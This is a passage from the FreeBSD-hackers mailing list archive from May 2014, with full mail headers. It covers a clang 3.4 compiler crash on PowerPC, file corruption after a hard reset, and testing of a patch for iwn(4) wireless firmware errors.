/usr/bin/../lib/clang/3.4 -D LIBICONV_PLUG -D HAVE_CONFIG_H -D LIBICONV_PLUG -I . -I ../Src -I ../Src -I ../Src/Zle -I . -I /usr/local/include -I /usr/local/include -O2 -fdebug-compilation-dir /export/usr/obj/export/usr/ports/shells/zsh/work/zsh-5.0.5/Src -ferror-limit 19 -fmessage-length 94 -mstackrealign -fno-signed-char -fobjc-runtime=gnustep -fdiagnostics-show-option -fcolor-diagnostics -vectorize-loops -vectorize-slp -o builtin.o -x c builtin.c 1. parser at end of file 2. Code generation 3. Running pass 'Function Pass Manager' on module 'builtin.c'. 4. Running pass 'PowerPC DAG->DAG Pattern Instruction Selection' on function '@bin_print' clang: error: unable to execute command: Abort trap clang: error: clang frontend command failed due to signal (use -v to see invocation) FreeBSD clang version 3.4 (tags/RELEASE_34/final 197956) 20140216 Target: powerpc-unknown-freebsd10.0 Thread model: posix And this is roughly the code block area: // Check that a token range does not highlight only whitespace. if (R.isTokenRange()) { // Pick the first non-whitespace column. while (StartColNo < map.getSourceLine().size() && (map.getSourceLine()[StartColNo] == ' ' || map.getSourceLine()[StartColNo] == '\t')) StartColNo = map.startOfNextColumn(StartColNo); // Pick the last non-whitespace column. if (EndColNo > map.getSourceLine().size()) EndColNo = map.getSourceLine().size(); while (EndColNo && (map.getSourceLine()[EndColNo-1] == ' ' || map.getSourceLine()[EndColNo-1] == '\t')) EndColNo = map.startOfPreviousColumn(EndColNo); // If the start/end passed each other, then we are trying to highlight a // range that just exists in whitespace, which must be some sort of other // bug. assert(StartColNo <= EndColNo && "Trying to highlight whitespace??"); } Thanks for the Feedback and your time. Patches to test greatly welcomed. -- - (2^(N-1)) JJH48-ARIN From owner-freebsd-hackers@FreeBSD.ORG Fri May 16 10:36:28 2014 Return-Path: Delivered-To: hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 5025B934 for ; Fri, 16 May 2014 10:36:28 +0000 (UTC) Received: from tensor.andric.com (unknown [IPv6:2001:7b8:3a7:1:2d0:b7ff:fea0:8c26]) (using TLSv1 with cipher DHE-RSA-CAMELLIA256-SHA (256/256 bits)) (Client CN "tensor.andric.com", Issuer "CAcert Class 3 Root" (not verified)) by mx1.freebsd.org (Postfix) with ESMTPS id EAFAE206A for ; Fri, 16 May 2014 10:36:27 +0000 (UTC) Received: from [IPv6:2001:7b8:3a7::307e:8fe5:fab4:9592] (unknown [IPv6:2001:7b8:3a7:0:307e:8fe5:fab4:9592]) (using TLSv1 with cipher AES128-SHA (128/128 bits)) (No client certificate requested) by tensor.andric.com (Postfix) with ESMTPSA id 426345C43; Fri, 16 May 2014 12:36:22 +0200 (CEST) Content-Type: multipart/signed; boundary="Apple-Mail=_62A0D4BB-6874-4DB3-9CE1-8684B2AA425C"; protocol="application/pgp-signature"; micalg=pgp-sha1 Mime-Version: 1.0 (Mac OS X Mail 7.3 \(1878.2\)) Subject: Re: stable/10 r266159 base clang 3.4 Assertion on nul \0 From: Dimitry Andric In-Reply-To: <20140516044950.GA37592@DataIX.net> Date: Fri, 16 May 2014 12:36:09 +0200 Message-Id: <1BE05E62-27FE-4D51-B028-2F926BD4E5C8@FreeBSD.org> References: <20140516044950.GA37592@DataIX.net> To: jhellenthal@dataix.net X-Mailer: Apple Mail (2.1878.2) Cc: hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 16 May 2014 10:36:28 -0000 --Apple-Mail=_62A0D4BB-6874-4DB3-9CE1-8684B2AA425C Content-Transfer-Encoding: quoted-printable Content-Type: text/plain; charset=us-ascii On 16 May 2014, at 06:49, jhellenthal@dataix.net wrote: >=20 > On powerpc maybe others, I believe I am hitting a bug in clang34 that = is part of base. After seearching around it has lead me to = (llvm/tools/clang/lib/Frontend/TextDiagnostic.cpp) line 973ish code = block where I believe it never checks for the condition of no new line = at end of file but I am unfamiliar with the code and could use someone = to take a closer look when they have the time. >=20 > This is the link that lead me there: (Says resolved so I believe that = to be another issue) > http://comments.gmane.org/gmane.comp.compilers.llvm.bugs/24021 >=20 > This is the error I see repeated through compilation of different = programs: > clang -c -I. -I../Src -I../Src -I../Src/Zle -I. -I/usr/local/include = -DLIBICONV_PLUG -I/usr/local/include -DHAVE_CONFIG_H -O2 -pipe = -DLIBICONV_PLUG -fno-strict-aliasing -o builtin.o builtin.c > UNREACHABLE executed! > Stack dump: > 0. Program arguments: /usr/bin/clang -cc1 -triple = powerpc-unknown-freebsd10.0 -emit-obj -disable-free = -disable-llvm-verifier -main-file-name builtin.c -mrelocation-model = static -mdisable-fp-elim -relaxed-aliasing -masm-verbose = -mconstructor-aliases -target-cpu ppc -coverage-file = /export/usr/obj/export/usr/ports/shells/zsh/work/zsh-5.0.5/Src/builtin.o = -resource-dir /usr/bin/../lib/clang/3.4 -D LIBICONV_PLUG -D = HAVE_CONFIG_H -D LIBICONV_PLUG -I . -I ../Src -I ../Src -I ../Src/Zle -I = . -I /usr/local/include -I /usr/local/include -O2 = -fdebug-compilation-dir = /export/usr/obj/export/usr/ports/shells/zsh/work/zsh-5.0.5/Src = -ferror-limit 19 -fmessage-length 94 -mstackrealign -fno-signed-char = -fobjc-runtime=3Dgnustep -fdiagnostics-show-option -fcolor-diagnostics = -vectorize-loops -vectorize-slp -o builtin.o -x c builtin.c > 1. parser at end of file > 2. Code generation > 3. Running pass 'Function Pass Manager' on module 'builtin.c'. > 4. Running pass 'PowerPC DAG->DAG Pattern Instruction Selection' = on function '@bin_print' > clang: error: unable to execute command: Abort trap > clang: error: clang frontend command failed due to signal (use -v to = see invocation) > FreeBSD clang version 3.4 (tags/RELEASE_34/final 197956) 20140216 > Target: powerpc-unknown-freebsd10.0 > Thread model: posix This is something completely different than http://llvm.org/PR16339 which you referred to. You seem to be running into a problem in the pass manager, which is part of the optimizer. Please try reproducing it with clang trunk, and if it still happens there, try reducing the testcase to a minimal form. Or submit the generated .sh and .c file in a new LLVM PR. If it doesn't reproduce on trunk, send me the generated .sh and .c file, CC'ing rdivacky@FreeBSD.org (as he is definitely more knowledgeable about PowerPC than me :). -Dimitry --Apple-Mail=_62A0D4BB-6874-4DB3-9CE1-8684B2AA425C Content-Transfer-Encoding: 7bit Content-Disposition: attachment; filename=signature.asc Content-Type: application/pgp-signature; name=signature.asc Content-Description: Message signed with OpenPGP using GPGMail -----BEGIN PGP SIGNATURE----- Version: GnuPG/MacGPG2 v2.0.22 (Darwin) iEYEARECAAYFAlN16iIACgkQsF6jCi4glqNdgQCgzGl2BzU/wx7H05shJ0QnF4QV V7cAn0+YCgeoLjrbeOyidRgY6aY7mMPc =bs9b -----END PGP SIGNATURE----- --Apple-Mail=_62A0D4BB-6874-4DB3-9CE1-8684B2AA425C-- From owner-freebsd-hackers@FreeBSD.ORG Fri May 16 14:44:35 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id D97BF1BB for ; Fri, 16 May 2014 14:44:35 +0000 (UTC) Received: from mail-qg0-x22f.google.com (mail-qg0-x22f.google.com [IPv6:2607:f8b0:400d:c04::22f]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id 9CDB22683 for ; Fri, 16 May 2014 14:44:35 +0000 (UTC) Received: by mail-qg0-f47.google.com with SMTP id j107so4284762qga.6 for ; Fri, 16 May 2014 07:44:34 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:date:message-id:subject:from:to:content-type; bh=PxJA3AlPhTQIe/4x9vNuAQYmAsVZhA3KvtQvJZTOEpk=; b=fkVVrN23/i2qR2fG6iacTz+3Lr9xxksTxg2pX/dWj5YDo1yaimry3MYRY8C5H/+i0I oVGjWdrVscvsGeITq5XfhU3xc5zr2yIwFC0Vkg1MwlGt0ue3abXwRyCDYHvu24z9lQXM xNiIJ4HsjJlGSM1PEUl0AtFFUxT9lorinEVuq3C5/7kPhqtbQCbIq2sLS6vQvX0GtkHE BYAwE72/BHZjqmqINw6OIKESxh+cC1rKvk+V3HDjC5NtqczkiANDCzib2+jVyzhq1Ulu EiGUofq3JhlmxAhX1byVO1BRyGsNo5SOgBDBpt27njGcZ/Wm3oTQ7WMeWbBccO76+TAD Qpxw== MIME-Version: 1.0 X-Received: by 10.224.147.208 with SMTP id m16mr23444692qav.13.1400251474785; Fri, 16 May 2014 07:44:34 -0700 (PDT) Received: by 10.229.110.72 with HTTP; Fri, 16 May 2014 07:44:34 -0700 (PDT) Date: Fri, 16 May 2014 17:44:34 +0300 Message-ID: Subject: hard reset impacts on ufs file system From: =?UTF-8?Q?Ali_Okan_Y=C3=9CKSEL?= To: freebsd-hackers@freebsd.org Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: quoted-printable X-Content-Filtered-By: Mailman/MimeDel 2.1.18 X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 16 May 2014 14:44:35 -0000 incident: =3D=3D file corruption after hard reset on FreeBSD 8.3 details: =3D=3D Hard reset examined on freebsd 8.3. after reboot libncurses.so.8 was 0 byte. And I couldn't login to system. It gave me error message about /bin/sh - libncurses.so.8 corruption. (libncurses depens /bin/sh I guess) I found the problem by using fixed shell. solution: =3D=3D I copied libncurses.so.8 from another system. When I did it problem solved. question: =3D=3D Is it known situation? Did you ever live a problem like this? Kind regards, Ali Okan Y=C3=BCksel --=20 http://www.siyahsapka.org From owner-freebsd-hackers@FreeBSD.ORG Fri May 16 18:06:06 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id C184B70C for ; Fri, 16 May 2014 18:06:06 +0000 (UTC) Received: from mail-ee0-x232.google.com (mail-ee0-x232.google.com [IPv6:2a00:1450:4013:c00::232]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id 58CC728FB for ; Fri, 16 May 2014 18:06:06 +0000 (UTC) Received: by mail-ee0-f50.google.com with SMTP id e51so1765765eek.37 for ; Fri, 16 May 2014 11:06:04 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=sender:from:content-type:content-transfer-encoding:subject:date :message-id:to:mime-version; bh=QdVKfzSX29vxD4gaaRVDUwrQH5Au+no63Y9Suu7cEBA=; b=ouHjN4+60REj0QZippkid5FLZFNP62pgJTNS2EcbCzbYEAmH1elSaPiDjLY7fezNGZ tXqwK4TgWnLlTg9ADg0Xxod7UiptDHDxoYsdhyjFux4s99OdaC3dfxiMlDPUkfeBR36H cK2ZvxIFmTaiqgN9Vp4sD0sHg4hYIIm+UBssvNwme+TvTwT6RFEvxSb7+YNsPx3gb/4p PSnJev8zNeRyH2HqLYpCvtyAPCtAv7yzD5+64FJ7wUko1PqbtOcwP9vmJBKarV7IwD2e hgBJvsDlwoh/cPT/Oo54ErWpcA+wUkdEmtuS3E13ICpvUhU3IXak2JYZ/seyXXGBODuc zDrg== X-Received: by 10.14.32.136 with SMTP id o8mr24544793eea.35.1400263564532; Fri, 16 May 2014 11:06:04 -0700 (PDT) Received: from strashydlo.home (adhj161.neoplus.adsl.tpnet.pl. [79.184.165.161]) by mx.google.com with ESMTPSA id b12sm9620404eeh.45.2014.05.16.11.06.03 for (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Fri, 16 May 2014 11:06:03 -0700 (PDT) Sender: =?UTF-8?Q?Edward_Tomasz_Napiera=C5=82a?= From: =?iso-8859-2?Q?Edward_Tomasz_Napiera=B3a?= Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: quoted-printable Subject: Workaround for "fatal firmware error" iwn(4) problem. Date: Fri, 16 May 2014 20:06:02 +0200 Message-Id: <8FB7D6BF-005A-41A1-9DCE-C8B09EA338EE@FreeBSD.org> To: "freebsd-hackers@freebsd.org" Mime-Version: 1.0 (Apple Message framework v1283) X-Mailer: Apple Mail (2.1283) X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 16 May 2014 18:06:06 -0000 I've started using FreeBSD laptop and iwn(4) failing at random moments like this... May 16 17:11:54 brick kernel: iwn0: iwn_intr: fatal firmware error May 16 17:11:54 brick kernel: firmware error log: May 16 17:11:54 brick kernel: error type =3D "NMI_INTERRUPT_WDG" = (0x00000004) May 16 17:11:54 brick kernel: program counter =3D 0x0000046C May 16 17:11:54 brick kernel: source line =3D 0x000000D0 May 16 17:11:54 brick kernel: error data =3D 0x0000000207030000 May 16 17:11:54 brick kernel: branch link =3D 0x0000D31A000004C2 May 16 17:11:54 brick kernel: interrupt link =3D 0x000006DE0000D23A May 16 17:11:54 brick kernel: time =3D 2985537 May 16 17:11:54 brick kernel: driver status: May 16 17:11:54 brick kernel: tx ring 0: qid=3D0 cur=3D0 queued=3D0 =20= May 16 17:11:54 brick kernel: tx ring 1: qid=3D1 cur=3D0 queued=3D0 =20= May 16 17:11:54 brick kernel: tx ring 2: qid=3D2 cur=3D0 queued=3D0 =20= May 16 17:11:54 brick kernel: tx ring 3: qid=3D3 cur=3D0 queued=3D0 =20= May 16 17:11:54 brick kernel: tx ring 4: qid=3D4 cur=3D33 queued=3D0 =20= May 16 17:11:54 brick kernel: tx ring 5: qid=3D5 cur=3D0 queued=3D0 =20= May 16 17:11:54 brick kernel: tx ring 6: qid=3D6 cur=3D0 queued=3D0 =20= May 16 17:11:54 brick kernel: tx ring 7: qid=3D7 cur=3D0 queued=3D0 =20= May 16 17:11:54 brick kernel: tx ring 8: qid=3D8 cur=3D0 queued=3D0 =20= May 16 17:11:54 brick kernel: tx ring 9: qid=3D9 cur=3D0 queued=3D0 =20= May 16 17:11:54 brick kernel: tx ring 10: qid=3D10 cur=3D0 queued=3D0 =20= May 16 17:11:54 brick kernel: tx ring 11: qid=3D11 cur=3D0 queued=3D0 =20= May 16 17:11:54 brick kernel: tx ring 12: qid=3D12 cur=3D0 queued=3D0 =20= May 16 17:11:54 brick kernel: tx ring 13: qid=3D13 cur=3D0 queued=3D0 =20= May 16 17:11:54 brick kernel: tx ring 14: qid=3D14 cur=3D0 queued=3D0 =20= May 16 17:11:54 brick kernel: tx ring 15: qid=3D15 cur=3D0 queued=3D0 =20= May 16 17:11:54 brick kernel: rx ring: cur=3D45 ... has been driving me crazy, so I wrote a workaround. The patch can be found here: http://people.freebsd.org/~trasz/iwn.diff I think it's too ugly to commit it as is (I'd never release crap like = this, but I know nothing about WiFi and iwn(4) in particular, so I feel = justified), but feedback is still welcome. From owner-freebsd-hackers@FreeBSD.ORG Fri May 16 18:22:05 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id C126FDB4 for ; Fri, 16 May 2014 18:22:05 +0000 (UTC) Received: from eu1sys200aog101.obsmtp.com (eu1sys200aog101.obsmtp.com [207.126.144.111]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id 1FFBB2AA5 for ; Fri, 16 May 2014 18:22:04 +0000 (UTC) Received: from mail-wi0-f171.google.com ([209.85.212.171]) (using TLSv1) by eu1sys200aob101.postini.com ([207.126.147.11]) with SMTP ID DSNKU3ZXMEpZJ3SP8aciQyPPW4pFtL4ubeR3@postini.com; Fri, 16 May 2014 18:22:05 UTC Received: by mail-wi0-f171.google.com with SMTP id hm4so1397637wib.10 for ; Fri, 16 May 2014 11:21:36 -0700 (PDT) X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20130820; h=x-gm-message-state:sender:date:from:message-id:to:subject:reply-to :in-reply-to; bh=fPL3Y6LFTdM1jOOBS9M5dfqjCAupSUMQ4eFnxvloAMU=; b=NzeDgCfaVOTcdqMdAoXzpWgpeCBoOVygyF8kdBIE+k0v6lzMHRIqjR1I/zJ00CK3Je NM4TbLhrl5Eux5yFQPkEY70qaf5vY3MTmE7s+sdD4zFrUjyLAfDK481QbtoQWYMlc6vF 2vZUGMi0NVB2moasq/hAy341aClUymtPOGlF7aLn/1Ye/nqRIhmhvcWRBehWzWfQD5/G SP1fT+P7S64e22Vxk1h23zRC95J52H/5iLjeo2emyMXp2A0PesSZSCEAa1k+KYkeyuex U+dFz8SF15OSZtfKqIPL1MEppCM82YPZMV3Q7itgm4OgtJmIEEbwVWh2aeN96yJhyq6F 1Zsw== X-Gm-Message-State: ALoCoQkQcua7r9XES8iksq/Yv6NiRCLcnekXc/eoUH2HML8BrX09RvMCanldmBPlO9igvmM+dCG6o3d9ZLu1z6bDpn/RehxZkTPSN6PgP2qbVsKtF6dgeE0w4Tp3wuycU+bbgT2UB2FxgH7pbldo7VwDSZPC962lig== X-Received: by 10.180.72.136 with SMTP id d8mr4712765wiv.36.1400264496036; Fri, 16 May 2014 11:21:36 -0700 (PDT) X-Received: by 10.180.72.136 with SMTP id d8mr4712757wiv.36.1400264495912; Fri, 16 May 2014 11:21:35 -0700 (PDT) Received: from mech-cluster241.men.bris.ac.uk (mech-cluster241.men.bris.ac.uk. [137.222.187.241]) by mx.google.com with ESMTPSA id h19sm4621236wiw.17.2014.05.16.11.21.34 for (version=TLSv1.2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128); Fri, 16 May 2014 11:21:35 -0700 (PDT) Sender: Anton Shterenlikht Received: from mech-cluster241.men.bris.ac.uk (localhost [127.0.0.1]) by mech-cluster241.men.bris.ac.uk (8.14.8/8.14.8) with ESMTP id s4GILXKC029855 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO); Fri, 16 May 2014 19:21:33 +0100 (BST) (envelope-from mexas@mech-cluster241.men.bris.ac.uk) Received: (from mexas@localhost) by mech-cluster241.men.bris.ac.uk (8.14.8/8.14.8/Submit) id s4GILXit029854; Fri, 16 May 2014 19:21:33 +0100 (BST) (envelope-from mexas) Date: Fri, 16 May 2014 19:21:33 +0100 (BST) From: Anton Shterenlikht Message-Id: <201405161821.s4GILXit029854@mech-cluster241.men.bris.ac.uk> To: freebsd-hackers@FreeBSD.org, trasz@FreeBSD.org Subject: Re: Workaround for "fatal firmware error" iwn(4) problem. Reply-To: mexas@bris.ac.uk In-Reply-To: <8FB7D6BF-005A-41A1-9DCE-C8B09EA338EE@FreeBSD.org> X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 16 May 2014 18:22:05 -0000 >From: =?iso-8859-2?Q?Edward_Tomasz_Napiera=B3a?= >Subject: Workaround for "fatal firmware error" iwn(4) problem. >Date: Fri, 16 May 2014 20:06:02 +0200 >To: "freebsd-hackers@freebsd.org" > >I've started using FreeBSD laptop and iwn(4) failing at random moments >like this... see also http://www.freebsd.org/cgi/query-pr.cgi?pr=kern/176104 http://www.freebsd.org/cgi/query-pr.cgi?pr=kern/189802 BTW, I disabled iwn and tried pccard bwn device instead, and the errors are gone. Also wireless doesn't disconnect as it used to with iwn. This is just because I thought my laptop or setup were to blame. So this is further evidence that iwn driver is at fault. Anton From owner-freebsd-hackers@FreeBSD.ORG Fri May 16 20:05:57 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 2D008A6B; Fri, 16 May 2014 20:05:57 +0000 (UTC) Received: from mail-qg0-x233.google.com (mail-qg0-x233.google.com [IPv6:2607:f8b0:400d:c04::233]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id C0B5A23A9; Fri, 16 May 2014 20:05:56 +0000 (UTC) Received: by mail-qg0-f51.google.com with SMTP id q107so4950034qgd.38 for ; Fri, 16 May 2014 13:05:55 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:sender:in-reply-to:references:date:message-id:subject :from:to:cc:content-type; bh=BoGSO8VQMODqNOzZiJ4YopPNtZDFdWt/Ak/pYRv1vGg=; b=iRvhhyouh0fdq8CrOJYXY+8G6eQBDofAUYdIiFY7TCxx7b+7BS3EUf1HstxzJbM/t4 qGTPnuvySwui2/83GMlFkYn+yBC6tvJ7KaiMMr2JZ1sjoyo5lxfIOOHdDzdM+PmxQjR5 xH1oX5MDnYQmRnThK3v48CNvkWepEx4I/l8E2zPfjqE2MthApEmOOy1Uh+zycE8jOvKb 87z4rQlvdsGyb6tHP5M4lD6IeGLmKqepsO3y9m741fxnSPmd8jGzPXaO8U0c9T9t28xJ 3K1Ipn3giwLlQKSt43I2EyVjC4CL1X+vVhmtEF70wruhqeVX98Q/fdaGxoFG8ReDBSzQ R1sA== MIME-Version: 1.0 X-Received: by 10.229.97.71 with SMTP id k7mr29246238qcn.4.1400270755868; Fri, 16 May 2014 13:05:55 -0700 (PDT) Sender: adrian.chadd@gmail.com Received: by 10.224.191.201 with HTTP; Fri, 16 May 2014 13:05:55 -0700 (PDT) In-Reply-To: <201405161821.s4GILXit029854@mech-cluster241.men.bris.ac.uk> References: <8FB7D6BF-005A-41A1-9DCE-C8B09EA338EE@FreeBSD.org> <201405161821.s4GILXit029854@mech-cluster241.men.bris.ac.uk> Date: Fri, 16 May 2014 13:05:55 -0700 X-Google-Sender-Auth: qFBMNU3xQU3dEenwFLJDhm-q5Cw Message-ID: Subject: Re: Workaround for "fatal firmware error" iwn(4) problem. From: Adrian Chadd To: mexas@bris.ac.uk, "freebsd-wireless@freebsd.org" Content-Type: text/plain; charset=UTF-8 Cc: "freebsd-hackers@freebsd.org" , =?UTF-8?Q?Edward_Tomasz_Napiera=C5=82a?= X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 16 May 2014 20:05:57 -0000 It's likely part the firmware and pat the driver. Yeah, we need a way to recover from a firmware crash. I and others in the open source community don't have documentation to know what the hell is or isn't permissable with firmware :( Ed - the reason why ieee80211_runtask() doesn't always run is because it can get paused during things like scanning and interface-down things. Your best bet is to create a new taskqueue in iwn and a task that runs on an iwn taskqueue. (And yeah, I really do need to rip out the taskqueue abuse by the net80211 scan code so a scan doesn't stop tasks from running. Grr.) -a On 16 May 2014 11:21, Anton Shterenlikht wrote: >>From: =?iso-8859-2?Q?Edward_Tomasz_Napiera=B3a?= >>Subject: Workaround for "fatal firmware error" iwn(4) problem. >>Date: Fri, 16 May 2014 20:06:02 +0200 >>To: "freebsd-hackers@freebsd.org" >> >>I've started using FreeBSD laptop and iwn(4) failing at random moments >>like this... > > see also > > http://www.freebsd.org/cgi/query-pr.cgi?pr=kern/176104 > http://www.freebsd.org/cgi/query-pr.cgi?pr=kern/189802 > > BTW, I disabled iwn and tried pccard bwn device instead, > and the errors are gone. Also wireless doesn't disconnect > as it used to with iwn. This is just because I thought > my laptop or setup were to blame. So this is further > evidence that iwn driver is at fault. > > Anton > _______________________________________________ > freebsd-hackers@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-hackers > To unsubscribe, send any mail to "freebsd-hackers-unsubscribe@freebsd.org" From owner-freebsd-hackers@FreeBSD.ORG Sat May 17 18:56:19 2014 Return-Path: Delivered-To: freebsd-hackers@FreeBSD.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 7AC86CC9; Sat, 17 May 2014 18:56:19 +0000 (UTC) Received: from albert.catwhisker.org (mx.catwhisker.org [198.144.209.73]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id 656192D8F; Sat, 17 May 2014 18:56:18 +0000 (UTC) Received: from albert.catwhisker.org (localhost [127.0.0.1]) by albert.catwhisker.org (8.14.8/8.14.8) with ESMTP id s4HIuGpq071222; Sat, 17 May 2014 11:56:16 -0700 (PDT) (envelope-from david@albert.catwhisker.org) Received: (from david@localhost) by albert.catwhisker.org (8.14.8/8.14.8/Submit) id s4HIuGkY071221; Sat, 17 May 2014 11:56:16 -0700 (PDT) (envelope-from david) Date: Sat, 17 May 2014 11:56:16 -0700 From: David Wolfskill To: Edward Tomasz Napiera?a Subject: Re: Workaround for "fatal firmware error" iwn(4) problem. Message-ID: <20140517185616.GZ55053@albert.catwhisker.org> Mail-Followup-To: David Wolfskill , Edward Tomasz Napiera?a , "freebsd-hackers@freebsd.org" MIME-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha512; protocol="application/pgp-signature"; boundary="x+bne1ZFwxW5PfJO" Content-Disposition: inline In-Reply-To: <201405161821.s4GILXit029854@mech-cluster241.men.bris.ac.uk> <4A191D80-9A8E-42DC-B2BD-F0668A60E9CA@FreeBSD.org> <8FB7D6BF-005A-41A1-9DCE-C8B09EA338EE@FreeBSD.org> User-Agent: Mutt/1.5.23 (2014-03-12) Cc: "freebsd-hackers@freebsd.org" X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 17 May 2014 18:56:19 -0000 --x+bne1ZFwxW5PfJO Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Fri, May 16, 2014 at 08:06:02PM +0200, Edward Tomasz Napiera?a wrote: > I've started using FreeBSD laptop and iwn(4) failing at random moments > like this... >=20 > May 16 17:11:54 brick kernel: iwn0: iwn_intr: fatal firmware error > May 16 17:11:54 brick kernel: firmware error log: > May 16 17:11:54 brick kernel: error type =3D "NMI_INTERRUPT_WDG" (0x= 00000004) > ... >=20 > ... has been driving me crazy, so I wrote a workaround. The patch > can be found here: >=20 > http://people.freebsd.org/~trasz/iwn.diff >=20 > I think it's too ugly to commit it as is (I'd never release crap like thi= s, > but I know nothing about WiFi and iwn(4) in particular, so I feel justifi= ed), > but feedback is still welcome. On Fri, May 16, 2014 at 08:16:01PM +0200, Edward Tomasz Napiera?a wrote: > ... > > For which branch? >=20 > Ah, forgot about that. 11-HEAD. So I've been running head/i386 with the above-cited patch for about 1.75 hrs. now -- by which time I would normally expect to have seen my network connection have dropped -- and it's been quite steady, even through listening to a streaming audio program for about an hour. I'm hoping that this at least helps indicate what might be going wrong (without the patch). For reference (in somewhat more detail): I had built: FreeBSD 11.0-CURRENT #1250 r266209M/266213:1100021: Fri May 16 06:24:39 PD= T 2014 root@g1-252.catwhisker.org:/common/S4/obj/usr/src/sys/CANARY i3= 86 yesterday (on my "head" slice on this laptop); this morning, I updated the src working copy to r266297 without incident (save for the occasional, and expected, dropping of the network connection on occasion). I then rebooted, and verified that FreeBSD 11.0-CURRENT #1251 r266297M/266298:1100021: Sat May 17 09:17:53 PD= T 2014 root@g1-252.catwhisker.org:/common/S4/obj/usr/src/sys/CANARY i3= 86 seemed to function pretty much the same (which it did). I then "cloned" the file systems on my head slice to another slice, used "svn patch" to apply the patch: Script started on Sat May 17 09:53:48 2014 command: svn patch tmp/iwn.diff /usr/src U /usr/src/sys/dev/iwn/if_iwn.c Script done on Sat May 17 09:53:48 2014 then ran "cd /usr/src && make -DNOCLEAN -j4 kernel"; the result was: FreeBSD 11.0-CURRENT #1252 r266297M/266298:1100021: Sat May 17 09:56:18 PD= T 2014 root@g1-252.catwhisker.org:/common/S2/obj/usr/src/sys/CANARY i3= 86 (which is what I've been running for almost 2 hrs. now). Peace, david --=20 David H. Wolfskill david@catwhisker.org Taliban: Evil cowards with guns afraid of truth from a 14-year old girl. See http://www.catwhisker.org/~david/publickey.gpg for my public key. --x+bne1ZFwxW5PfJO Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: GnuPG v2.0.22 (FreeBSD) 